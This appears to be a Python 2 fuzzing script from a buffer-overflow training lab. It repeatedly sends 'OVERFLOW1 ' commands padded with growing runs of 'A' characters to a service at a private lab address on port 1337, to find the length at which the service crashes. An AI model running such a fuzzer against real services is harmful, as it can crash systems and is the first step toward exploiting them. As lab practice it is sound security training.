#!/usr/bin/python
import sys, socket
ip = '10.10.45.125'
port = 1337
buffer = ['A']
counter = 2000
prefix="OVERFLOW1 "
while len(buffer) <= 10:
buffer.append('A'*counter)
counter = counter + 100
try:
for string in buffer:
print '[+] Sending %s bytes...' % len(string)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.recv(1024)
s.send(prefix+string + '\\r\\n')
s.recv(1024)
print '[+] Done'
except:
print '[!] A connection cant be stablished to the program. It may have crashed.'
sys.exit(0)
finally:
s.close()